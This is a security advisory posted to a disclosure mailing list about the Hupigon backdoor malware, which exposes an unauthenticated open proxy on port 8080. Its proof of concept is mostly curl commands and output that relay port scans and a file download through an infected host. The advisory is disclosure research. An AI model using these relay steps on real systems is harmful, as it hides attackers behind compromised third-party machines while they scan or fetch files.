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Date: Sat, 3 Jul 2021 17:34:39 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.Hupigon.gsy / Unauthenticated Open Proxy

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Hupigon.gsy
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080 and drops its executable
under Windows dir. Third-party attackers who can connect to the infected
system can relay requests from the original connection to the destination
and then back to the origination system. Attackers may then be able to
launch attacks, download files or port scan third party systems and it will
appear as the attacks originated from that infected host.
Type: PE32
MD5: 7e99aa748b61fd0802fa19cf9e4cf1f8
Vuln ID: MVID-2021-0271
Dropped files:
Disclosure: 07/03/2021

Scan port 110)

curl -H "Host:" -v
 Rebuilt URL to:
 Connected to ( port 8080 (#0)
 GET / HTTP/1.1
 User-Agent: curl/7.55.1
 Accept: */*

+OK INetSim POP3 Server ready <55025.1625188304@...3host>
-ERR Unknown command.

Scan port 21)

curl -H "Host:" -v
 Rebuilt URL to:
 Connected to ( port 8080 (#0)
 GET / HTTP/1.1
 User-Agent: curl/7.55.1
 Accept: */*

220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -H "Host:" -v
--out DOOM.exe

 GET /DOOM.exe HTTP/1.1
 User-Agent: curl/7.55.1
 Accept: */*

 HTTP 1.0, assume close after body
 HTTP/1.0 200 OK
 Server: SimpleHTTP/0.6 Python/2.7.6
 Date: Fri, 02 Jul 2021 01:14:31 GMT
 Content-type: application/x-msdos-program
 Content-Length: 103533
 Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT

{ [102194 bytes data]
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01
* Closing connection 0

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